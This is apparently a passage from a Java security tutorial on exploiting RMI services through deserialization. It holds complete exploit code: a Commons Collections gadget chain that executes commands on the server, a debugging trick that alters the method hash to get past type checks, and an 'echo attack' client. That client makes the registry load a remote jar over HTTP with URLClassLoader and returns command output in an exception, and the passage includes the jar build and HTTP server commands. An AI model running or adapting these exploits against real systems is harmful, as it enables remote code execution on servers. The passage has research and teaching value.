import java.rmi.server.UnicastRemoteObject;
// java.rmi.server.UnicastRemoteObject constructor generates stub and skeleton
public class UserImpl extends UnicastRemoteObject implements User {
// Must have an explicit constructor and throw a RemoteException
public UserImpl() throws RemoteException {
super();
}
@Override
public void say(Object say) throws RemoteException {
System.out.println("you speak " + say);
}
}
RMI Client:
package rmi.attack_server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class clientTest {
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:3333/User";
User userClient = (User) Naming.lookup(url);
userClient.say(getpayload());
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
Here, it is important to note that although the RMI URL is for the server, we actually want to call the say
method of type String, but we want to pass an Object object. Therefore, the userClient
object must be of type User, not User1 on the server side; otherwise, it cannot be passed in. At the same time, the say
method called by the client does not actually execute the say
method; it simply passes the data from getpayload()
to the actual remote object on the server for invocation. Thus, even though you write the say
method with an Object parameter type, the data passed to the server will still execute the String type say
method. This is just to allow the client to run.
Here, both the client and server code need to be in two different projects (otherwise, it will throw a com.sun.proxy.$Proxy0 cannot be cast to rmi.attack_server.User
error).
At the same time, the class names on both sides need to be consistent, and the package names need to match; otherwise, it will throw a java.lang.ClassNotFoundException: attack_server2.User1 (no security manager: RMI class loader disabled)
error. Both sides must also have the cc dependency.
After reconfiguring the class names, the new error is as follows:
This indicates that the method we want to call was not found in hashToMethod_Map
(it is determined by hash). Here, we need to see how the client passes this var4
.
Here, we also need to supplement how to set breakpoints and view the call stack when the client transmits data.
The constructor of StreamRemoteCall
is responsible for initializing a remote call object. This constructor writes the header information for the remote call, including the object ID, operation code, and call ID.
Here, we need to look back at which variable is used when comparing the hash.
In fact, that hash value is the long value read from the incoming object, which is the fourth parameter of the StreamRemoteCall
constructor, the call ID. So we can directly modify this hash value here (we can manipulate the serialized data being transmitted). If necessary, we can even use an agent on the client to rewrite this class; there are many methods. In any case, we need to pass the hash corresponding to the method that exists on the server, bypassing the detection for parameter deserialization. Here, I set it to 6197384497301668989
(you can find your corresponding server). During debugging, input var4=6197384497301668989L
, and it must have the L
at the end; otherwise, it will be considered an int and will be too large (not sure how to set it, see the image).
Press Enter, and then we can continue debugging. There are many pitfalls during the debugging process. Here, I need to jump to writeLong
for the third time to modify it to continue debugging, because the third time is when the say
method is called. Therefore, both the client and server need to be debugged together, and on the server, we need to check whether the current method being called is the say
method.
It can be seen that even if the method parameter on the server is of type String, we can still pass the data from the client for deserialization. Therefore, aside from Integer
, Boolean
, Byte
, Character
, Short
, Long
, Float
, and Double
, methods can all perform deserialization of Object types, successfully popping up the window.
Echo Attacks#
The echo attack refers to the situation where the registry encounters an exception during an attack and directly sends the exception back to the client.
In the previous methods of attacking the registry, we could use bind
, lookup
, unbind
, rebind
, etc. When we attempt to attack, the command is indeed executed, but the error from the registry will also be passed back to our client:
When the registry processes requests, it will call UnicastServerRef#dispatch
to handle the request, and then sequentially call the dispatch method of the RegistryImpl_Skel
object.
Let's take a look at how the registry handles errors in UnicastServerRef#dispatch
:
First, the exception is assigned to var6
, and then the current socket connection is obtained to the output stream, and the exception is written in. After that, the data is returned to the client through the two segments of code after the finally
.
The idea is that when we use the bind
method to make the registry deserialize our malicious serialized object, it can trigger command execution. By loading a remote jar via URLClassLoader
and calling its method, an error will be thrown in the method, which will be sent back to the client.
Server:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
public void Example(Object work) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User{
public UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
public void Example(Object example) throws RemoteException{
System.out.println("This is " + example);
}
}
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url,user);
System.out.println("RMI server is running");
}
}
ErrorBaseExec:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ErrorBaseExec {
public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\\n");
}
String result = sb.toString();
Exception e = new Exception(result);
throw e;
}
}
Compile into RMIexploit.jar:
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class
Client:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; // Registry IP
int port = 1099; // Registry port
String remotejar = "<http://127.0.0.1:8081/RMIexploit.jar>";
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] {new Object[] {new java.net.URL[] { new java.net.URL(remotejar) }}}),
new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] {"ErrorBaseExec"}),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}
Start a simple HTTP server with Python:
python -3 -m http.server 8081